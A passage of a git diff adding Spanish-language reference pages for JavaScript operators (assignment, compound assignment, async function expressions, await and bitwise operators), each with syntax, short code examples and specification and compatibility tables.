+ <li>Las comprensiones de ES7 solo trabajan con <code>{{jsxref("Statements/for...of", "for...of")}}</code> y no con iteraciones <code>{{jsxref("Statements/for...in", "for...in")}}</code>.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+ <li>{{jsxref("Operators/Generator_comprehensions", "Generator comprehensions", "" ,1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/asignacion/index.html b/files/es/web/javascript/referencia/operadores/asignacion/index.html
new file mode 100644
index 0000000000..1fa4b79ac4
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/asignacion/index.html
@@ -0,0 +1,62 @@
+---
+title: Asignacion (=)
+slug: Web/JavaScript/Referencia/Operadores/Asignacion
+tags:
+  - JS
+  - JavaScript
+  - Operador de Asignacion
+  - Operadores JavaScript
+  - Referências
+translation_of: Web/JavaScript/Reference/Operators/Assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de asignación (=) se utiliza para asignar un valor a una variable. La operación de asignación evalúa el valor asignado. Es posible encadenar el operador de asignación para asignar un solo valor a múltiples variables</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x = y
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Asignación">Asignación</h3>
+
+<pre class="brush: js notranslate">// Asumimos las siguientes variables
+//  x = 5
+//  n = 10
+//  z = 25
+
+x = n     // La variable x contiene el valor 10
+x = n = z // x = n (es decir 10) y z pisa el valor total remplazandolo por 25</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+
+
+<p>{{Compat("javascript.operators.assignment")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment">Assignment operators in the JS guide</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/assignment_operators/index.html b/files/es/web/javascript/referencia/operadores/assignment_operators/index.html
new file mode 100644
index 0000000000..a2d44f62ce
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/assignment_operators/index.html
@@ -0,0 +1,461 @@
+---
+title: Operadores de asignación
+slug: Web/JavaScript/Referencia/Operadores/Assignment_Operators
+tags:
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators#Assignment_operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Un <strong>operador de asignacion</strong> asigna un valor al operando de la izquierda basado en el valor del operando de la derecha.</p>
+
+<h2 id="Visión_general"><span class="short_text" id="result_box" lang="es"><span>Visión general</span></span></h2>
+
+<p>El operador de asignación basico es el igual (<code>=</code>), el cual asigna el valor del operando derecho al operando izquierdo. Es decir, x = y asigna el valor de y a x. El otro operador de asignacion son usualmente son abreviaciones para operaciones estandar, como se muestra en las siguientes definiciones y ejemplos.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Nombres</th>
+   <th>Abreviaciones</th>
+   <th>Significado</th>
+  </tr>
+  <tr>
+   <td><a href="#Assignment">Asignación</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Addition_assignment">Asignación de adición</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Subtraction_assignment">Asignación de sustracción</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Subtraction_assignment">Asignación de multiplicación</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Subtraction_assignment">Asignación de división</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Remainder_assignment">Asignación de Resto</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Exponentiation_assignment">Asignación de exponenciación</a></td>
+   <td><code>x **= y</code></td>
+   <td><code>x = x ** y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift_assignment">Asignación de desplazamiento a la izquierda</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift_assignment">Asignación de desplazamiento a la derecha</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift_assignment">Asignación sin signo de desplazamiento a la derecha</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND_assignment">Asignacion AND</a></td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR_assignment">Asignacion XOR</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR_assignment">Asignacion OR</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Asignación"><a name="Assignment">Asignación</a></h2>
+
+<p>Operador de asignación simple que asigna un valor a una variable. EL operador de asignación evalua al valor asignado. Encadenando el operador de asignación es posible en orden de asignar un solo valor a multiples variables. Vea el ejemplo.</p>
+
+<h3 id="Sintaxis">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x = y
+</pre>
+
+<h3 id="Ejemplos">Ejemplos</h3>
+
+<pre class="brush: js notranslate">// Asumiendo las siguientes variables
+//  x = 5
+//  y = 10
+//  z = 25
+
+
+x = y     // x es 10
+x = y = z // x, y, z son todas 25
+</pre>
+
+<h2 id="Asignación_de_Adición"><a name="Addition_assignment">Asignación de Adición</a></h2>
+
+<p>El operador de asignación de suma <strong>agrega</strong> el valor del operando derecho a la variable y le asigna el resultado a la variable. Los dos tipos de operandos determinan el comportamiento del operador de asignación de adición. Adición o concatenación es posible. Mira el {{jsxref("Operators/Arithmetic_Operators", "operador de adición", "#Addition", 1)}} para más detalles.</p>
+
+<h3 id="Sintaxis_2">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x += y
+<strong>Significado:</strong>  x  = x + y
+</pre>
+
+<h3 id="Ejemplos_2">Ejemplos</h3>
+
+<pre class="brush: js notranslate">// Asuma las siguientes variables
+//  foo = "foo"
+//  bar = 5
+//  baz = true
+
+
+// Number + Number -&gt; Adición
+bar += 2 // 7
+
+// Boolean + Number -&gt; Adición
+baz += 1 // 2
+
+// Boolean + Boolean -&gt; Adición
+baz += false // 1
+
+// Number + String -&gt; concatenación
+bar += "foo" // "5foo"
+
+// String + Boolean -&gt; concatenación
+foo += false // "foofalse"
+
+// String + String -&gt; concatenación
+foo += "bar" // "foobar"
+</pre>
+
+<h2 id="Asignación_de_Sustracción"><a name="Subtraction_assignment">Asignación de Sustracción</a></h2>
+
+<p>El operador de asignación de sustracción <strong>sustrae </strong>el valor del operador derecho desde la variable y asigna el resultado a la variable. Mira el {{jsxref("Operators/Arithmetic_Operators", "operador de sustracción", "#Subtraction", 1)}} para mas detalles.</p>
+
+
+
+<h4 id="Sintaxis_3">Sintaxis</h4>
+
+
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x -= y
+<strong>Significado:</strong>  x  = x - y
+</pre>
+
+<h4 id="Ejemplos_3">Ejemplos</h4>
+
+<pre class="brush: js notranslate">// Asumiendo las siguientes variables
+//  bar = 5
+
+bar -= 2     // 3
+bar -= "foo" // NaN
+</pre>
+
+<h2 id="Asignación_de_Multiplicación">Asignación de Multiplicación </h2>
+
+<p>El operador de asignación de multiplicación <strong>multiplica </strong>la variable por el valor del operando derecho y asigna el resultado a la variable. Vea el  {{jsxref("Operators/Arithmetic_Operators", "Operador de Multiplicación", "#Multiplication", 1)}} para mas detalles.</p>
+
+<h3 id="Sintaxis_4">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x *= y
+<strong>Significado:</strong>  x  = x * y
+</pre>
+
+<h3 id="Ejemplos_4">Ejemplos</h3>
+
+<pre class="brush: js notranslate">// Asumiendo la siguiente variable
+//  bar = 5
+
+bar *= 2     // 10
+bar *= "foo" // NaN
+</pre>
+
+<h2 id="Asignación_de_división"><a name="Division_assignment">Asignación de división</a></h2>
+
+<p>El operador de asignación de división <strong>divide </strong>la variable por el valor del operando derecho y asigna el resultado a la variable. Vea el {{jsxref("Operators/Arithmetic_Operators", "operador de división", "#Division", 1)}} para mas detalles.</p>
+
+<h3 id="Sintaxis_5">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x /= y
+<strong>Significado:</strong>  x  = x / y
+</pre>
+
+<h3 id="Ejemplos_5">Ejemplos</h3>
+
+<pre class="brush: js notranslate">// Asumiendo la siguiente variable
+//  bar = 5
+
+bar /= 2     // 2.5
+bar /= "foo" // NaN
+bar /= 0     // Infinity
+</pre>
+
+<h2 id="Asignación_de_resto"><a name="Remainder_assignment">Asignación  de resto</a></h2>
+
+<p>El operador de asignación de resto <strong>divide </strong>la variable por el valor del operador derecho y asigna el <strong>resto </strong>a la variable. Vea el {{jsxref("Operators/Arithmetic_Operators", "Operador de resto", "#Remainder", 1)}} para mas detelles.</p>
+
+<h3 id="Sintaxis_6">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x %= y
+<strong>Significado:</strong>  x  = x % y
+</pre>
+
+<h3 id="Ejemplos_6">Ejemplos</h3>
+
+<pre class="brush: js notranslate">// Asumiendo la siguiente variable
+//  bar = 5
+
+bar %= 2     // 1
+bar %= "foo" // NaN
+bar %= 0     // NaN
+</pre>
+
+<h2 id="Asignación_de_exponenciación"><a id="Exponentiation_assignment" name="Exponentiation_assignment"></a>Asignación de <span id="result_box" lang="es"><span>exponenciación</span></span></h2>
+
+<p>El operador de asignación de exponente evalua el resultado de elevar primero el operando a la <strong>potencia </strong>del segundo operando. Vea el {{jsxref("Operators/Bitwise_Operators", "operador de exponenciación", "#Left_shift", 1)}}para mas detalles</p>
+
+<h3 id="Sintaxis_7">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x **= y
+<strong>Significado:</strong>  x  = x ** y
+</pre>
+
+<h3 id="Ejemplos_7">Ejemplos</h3>
+
+<pre class="brush: js notranslate">// Asumiendo la siguiente variable
+//  bar = 5
+
+bar **= 2     // 25
+bar **= "foo" // NaN</pre>
+
+<h2 id="Asignación_de_desplazamiento_a_la_izquierda"><a name="Left_shift_assignment">Asignación de desplazamiento a la izquierda</a></h2>
+
+<p>El operador de asignación de desplazamiento a la izquierda mueve una cantidad especifica de bits a la izquierda y asigna el resultado a la variable. Vea el {{jsxref("Operators/Bitwise_Operators", "operador de desplazamiento a la izquierda", "#Left_shift", 1)}} para mas detalles.</p>
+
+<h3 id="Sintaxis_8">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x &lt;&lt;= y
+<strong>Significado:</strong>  x   = x &lt;&lt; y
+</pre>
+
+<h3 id="Ejemplos_8">Ejemplos</h3>
+
+<pre class="brush: js notranslate">var bar = 5; //  (00000000000000000000000000000101)
+bar &lt;&lt;= 2; // 20 (00000000000000000000000000010100)
+</pre>
+
+<h2 id="Asignación_de_desplazamiento_a_la_derecha"><a name="Right_shift_assignment">Asignación de desplazamiento a la derecha</a></h2>
+
+<p>El operador de asignación de desplazamiento a la derecha mueve una cantidad especifica de bits a la derecha y asigna el resultado a la variable. Vea el {{jsxref("Operators/Bitwise_Operators", "operador de desplazamiento a la derecha", "#Right_shift", 1)}} para mas detalles.</p>
+
+<h3 id="Sintaxis_9">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x &gt;&gt;= y
+<strong>Significado:</strong>  x   = x &gt;&gt; y
+</pre>
+
+<h3 id="Ejemplos_9">Ejemplos</h3>
+
+<pre class="brush: js notranslate">var bar = 5; //   (00000000000000000000000000000101)
+bar &gt;&gt;= 2;   // 1 (00000000000000000000000000000001)
+
+var bar -5; //    (-00000000000000000000000000000101)
+bar &gt;&gt;= 2;  // -2 (-00000000000000000000000000000010)
+</pre>
+
+<h2 id="Asignación_sin_signo_de_desplazamiento_a_la_derecha"><a name="Unsigned_right_shift_assignment">Asignación sin signo de desplazamiento a la derecha</a></h2>
+
+<p>El operador de asignación sin signo de desplazamiento a la derecha mueve una cantidad especifica de bits a la derecha y asigna el resultado a la variable. Vea el {{jsxref("Operators/Bitwise_Operators", "operador sin signo de desplazamiento a la derecha", "#Unsigned_right_shift", 1)}} para mas detalles.</p>
+
+<h3 id="Sintaxis_10">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x &gt;&gt;&gt;= y
+<strong>Significado:</strong>  x    = x &gt;&gt;&gt; y
+</pre>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<pre class="brush: js notranslate">var bar = 5; //   (00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2;  // 1 (00000000000000000000000000000001)
+
+var bar = -5; // (-00000000000000000000000000000101)
+bar &gt;&gt;&gt;= 2; // 1073741822 (00111111111111111111111111111110)</pre>
+
+<h2 id="Asignación_AND"><a name="Bitwise_AND_assignment">Asignación AND</a></h2>
+
+<p>El operador de asignacion AND usa la representación binaria de ambos operandos, hace una operacion AND en ellos y asigna el resultado a la variable. Vea el {{jsxref("Operators/Bitwise_Operators", "operador AND", "#Bitwise_AND", 1)}} para mas detalles.</p>
+
+<h3 id="Sintaxis_11">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x &amp;= y
+<strong>Significado:</strong>  x  = x &amp; y
+</pre>
+
+<h3 id="Ejemplo_2">Ejemplo</h3>
+
+<pre class="brush: js notranslate">var bar = 5;
+// 5:     00000000000000000000000000000101
+// 2:     00000000000000000000000000000010
+bar &amp;= 2; // 0
+</pre>
+
+<h2 id="Asignación_XOR"><a name="Bitwise_XOR_assignment">Asignación XOR</a></h2>
+
+<p>El operador de asignacion XOR usa la representación binaria de ambos operandos, hace una operacion XOR en ellos y asigna el resultado a la variable. Vea el {{jsxref("Operators/Bitwise_Operators", "operador XOR", "#Bitwise_XOR", 1)}} para mas detalles</p>
+
+<h3 id="Sintaxis_12">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x ^= y
+<strong>Significado:</strong>  x  = x ^ y
+</pre>
+
+<h3 id="Ejemplo_3">Ejemplo</h3>
+
+<pre class="brush: js notranslate">var bar = 5;
+bar ^= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h2 id="Asignación_OR"><a name="Bitwise_OR_assignment">Asignación OR</a></h2>
+
+<p>El operador de asignacion OR usa la representación binaria de ambos operandos, hace una operacion OR en ellos y asigna el resultado a la variable. Vea el {{jsxref("Operators/Bitwise_Operators", "operador OR", "#Bitwise_XOR", 1)}} para mas detalles</p>
+
+<h3 id="Sintaxis_13">Sintaxis</h3>
+
+<pre class="syntaxbox notranslate"><strong>Operador:</strong> x |= y
+<strong>Significado:</strong>  x  = x | y
+</pre>
+
+<h3 id="Ejemplo_4">Ejemplo</h3>
+
+<pre class="brush: js notranslate">var bar = 5;
+bar |= 2; // 7
+// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+// -----------------------------------
+// 7: 00000000000000000000000000000111
+</pre>
+
+<h2 id="Ejemplos_10">Ejemplos</h2>
+
+<h3 id="Operador_izquierdo_con_otros_operadores_de_asignación">Operador izquierdo con otros operadores de asignación</h3>
+
+<p>En situaciones inusuales, el operador de asignacion (e.g x += y) no es identico al significado de la expresión (aca x = x + y). Cuando el operando izquierdo de un mismo operador de asignación contiene un operador de asignaciónm el operando izquierdo es evaluado una vez. por ejemplo:</p>
+
+<pre class="brush: js notranslate">a[i++] += 5         // i es evaluado una vez
+a[i++] = a[i++] + 5 // i es evaluado dos veces
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-assignment-operators', 'Operadores de asignación')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-assignment-operators', 'Operadores de asignación')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.13', 'Operadores de asignación')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.13', 'Operadores de asignación')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definición inicial</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">Operadores Aritméticos</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/async_function/index.html b/files/es/web/javascript/referencia/operadores/async_function/index.html
new file mode 100644
index 0000000000..12e76e6ce5
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/async_function/index.html
@@ -0,0 +1,102 @@
+---
+title: Expresión de función asíncrona
+slug: Web/JavaScript/Referencia/Operadores/async_function
+tags:
+  - Expresión Primaria
+  - JavaScript
+  - Operador
+  - función
+translation_of: Web/JavaScript/Reference/Operators/async_function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>La palabra clave <strong><code>async function</code></strong> puede ser utilizada para definir funciones <code>async</code> dento de expresiones.</p>
+
+<p>También se pueden definir funciones asíncronas utilizando un<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function" title="The async function keyword can be used to define async functions inside expressions."> enunciado de función asíncrona</a>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">async function [nombre]([<var>param1</var>[, <var>param2</var>[, ..., <var>paramN</var>]]]) {
+   <var>enunciados</var>
+}</pre>
+
+<p>A partir de ES2015 (ES6), también se pueden emplear <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">funciones flecha.</a></p>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>name</var></code></dt>
+ <dd>El nombre de la función. Puede ser omitida, en cuy caso la función es <em>anónima</em>. El nombre es sólo local al cuerpo de la función The name is only local to the function body.</dd>
+ <dt><code><var>paramN</var></code></dt>
+ <dd>El nombre de un argumento a ser pasado a la función.</dd>
+ <dt><code><var>statements</var></code></dt>
+ <dd>Los enunciados que componen el cuerpo de la función.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Una expresión <code>async function</code> es miuy similar, y casi tiene la misma sintaxis que, una {{jsxref('Statements/async_function', 'async function statement')}}. La principal diferencia entre una expresión <code>async function</code> y un enunciado <code>async function</code> es el <em>nombre de la función</em>, que puede ser omitido en una expresión <code>async function</code> para crear funciones <em>anonymous</em>. Una expresión <code>async function</code> puede ser utilizada como un {{Glossary("IIFE")}} (Expresión de función inmediatamente invocada, Immediately Invoked Function Expression) que se ejecuta tan rápido como es definida. Ver el capítulo sobre <a href="/en-US/docs/Web/JavaScript/Reference/Functions">funciones</a> para tener más información.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_sencillo">Ejemplo sencillo</h3>
+
+<pre class="brush: js">function resuelve2SegundosDespues(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+};
+
+
+const agregar= async function(x) { // Expresión de una función asíncrona asignada a una variable
+  let a = await resuelve2SegundosDespues(20);
+  let b = await resuelve2SegundosDespues(30);
+  return x + a + b;
+};
+
+agregar(10).then(v =&gt; {
+  console.log(v);  // imprime 60 después de 4 segundos.
+});
+
+
+(async function(x) { // expresión de una función asíncrona utilizada como una IIFE
+  let p_a = resuelve2SegundosDespues(20);
+  let p_b = resuelve2SegundosDespues(30);
+  return x + await p_a + await p_b;
+})(10).then(v =&gt; {
+  console.log(v);  // imprime 60 después de 2 segundos.
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.async_function_expression")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>Objeto {{jsxref("AsyncFunction")}}</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/await/index.html b/files/es/web/javascript/referencia/operadores/await/index.html
new file mode 100644
index 0000000000..d1a84251f1
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/await/index.html
@@ -0,0 +1,102 @@
+---
+title: await
+slug: Web/JavaScript/Referencia/Operadores/await
+translation_of: Web/JavaScript/Reference/Operators/await
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>El operador <code>await</code> es usado para esperar a una {{jsxref("Promise")}}. Sólo puede ser usado dentro de una función {{jsxref("Statements/async_function", "async function")}}.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = await <em>expression</em>;</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Una {{jsxref("Promise")}} o cualquier otro valor por el cual haya que esperar.</dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>Regresa el valor terminado de la promesa o solamente un valor si no es una<code>Promise</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La expresión <code>await</code> provoca que la ejecución de una función <code>async</code> sea pausada hasta que una <code>Promise</code> sea terminada o rechazada, y regresa a la ejecución de la función <code>async</code> después del término. Al regreso de la ejecución, el valor de la expresión <code>await</code> es la regresada por una promesa terminada.</p>
+
+<p>Si la <code>Promise</code> es rechazada, el valor de la expresión <code>await</code> tendrá el valor de rechazo.</p>
+
+<p>Si el valor de la expresión seguida del operador <code>await</code>  no es una promesa, será convertido a una <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/resolve">resolved Promise</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Si una <code>Promise</code> se pasa a una expresión <code>await</code>, espera a que la <code>Promise</code> se resuelva y devuelve el valor resuelto.</p>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+async function f1() {
+  var x = await resolveAfter2Seconds(10);
+  console.log(x); // 10
+}
+f1();
+</pre>
+
+<p>Si el valor no es una <code>Promise</code>, convierte el valor a una <code>Promise</code> resuelta, y espera por dicho valor.</p>
+
+<pre class="brush: js">async function f2() {
+  var y = await 20;
+  console.log(y); // 20
+}
+f2();</pre>
+
+<p>Si la <code>Promise</code> es rechazada, se lanza una excepción con dicho el valor.</p>
+
+<pre class="brush: js">async function f3() {
+  try {
+    var z = await Promise.reject(30);
+  } catch(e) {
+    console.log(e); // 30
+  }
+}
+f3();</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async functions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página es generada a partir de información estructurada. Si quisieras contribuir a esta información, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("javascript.operators.await")}}</p>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} object</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/bitwise_operators/index.html b/files/es/web/javascript/referencia/operadores/bitwise_operators/index.html
new file mode 100644
index 0000000000..2f0e76013f
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/bitwise_operators/index.html
@@ -0,0 +1,721 @@
+---
+title: Operadores a nivel de bit
+slug: Web/JavaScript/Referencia/Operadores/Bitwise_Operators
+tags:
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Los operadores a nivel de bit </strong>tratan sus operandos como una secuencia de 32 bits (unos y ceros) en lugar de <a href="/es/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">números</a> decimales, hexadecimales u octales.  Por ejemplo, el número decimal nueve tiene una representación binaria de 1001. Los operadores a nivel de bit realizan las operaciones en esas representaciones binarias, pero los valores devueltos son los valores numéricos estándar de JavaScript.</p>
+
+<p>La siguiente tabla resume los operadores a nivel de bit de JavaScript:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Operador</th>
+   <th>Uso</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_AND">AND binario</a></td>
+   <td><code>a &amp; b</code></td>
+   <td>Devuelve un uno en cada posición en la que ambos operandos sea uno.</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_OR">OR binario </a></td>
+   <td><code>a | b</code></td>
+   <td>Devuelve un uno en cada posición en la que uno o ambos operandos sea uno.</td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_XOR">Bitwise XOR</a></td>
+   <td><code>a ^ b</code></td>
+   <td>Devuelve un uno en cada posición en la que los bits correspondientes en cada uno de los operandos, pero no en ambos, es uno. </td>
+  </tr>
+  <tr>
+   <td><a href="#Bitwise_NOT">Bitwise NOT</a></td>
+   <td><code>~ a</code></td>
+   <td>Invierte los bits del operando.</td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift">Left shift</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>Desplaza en representación binaria <code>b</code> (&lt; 32) bits a la izquierda, desplazando en ceros desde la derecha.</td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift">Sign-propagating right shift</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>Desplaza en representación binaria <code>b</code> (&lt; 32) bits a la derecha, descartando los bits desplazados fuera.</td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift">Zero-fill right shift</a></td>
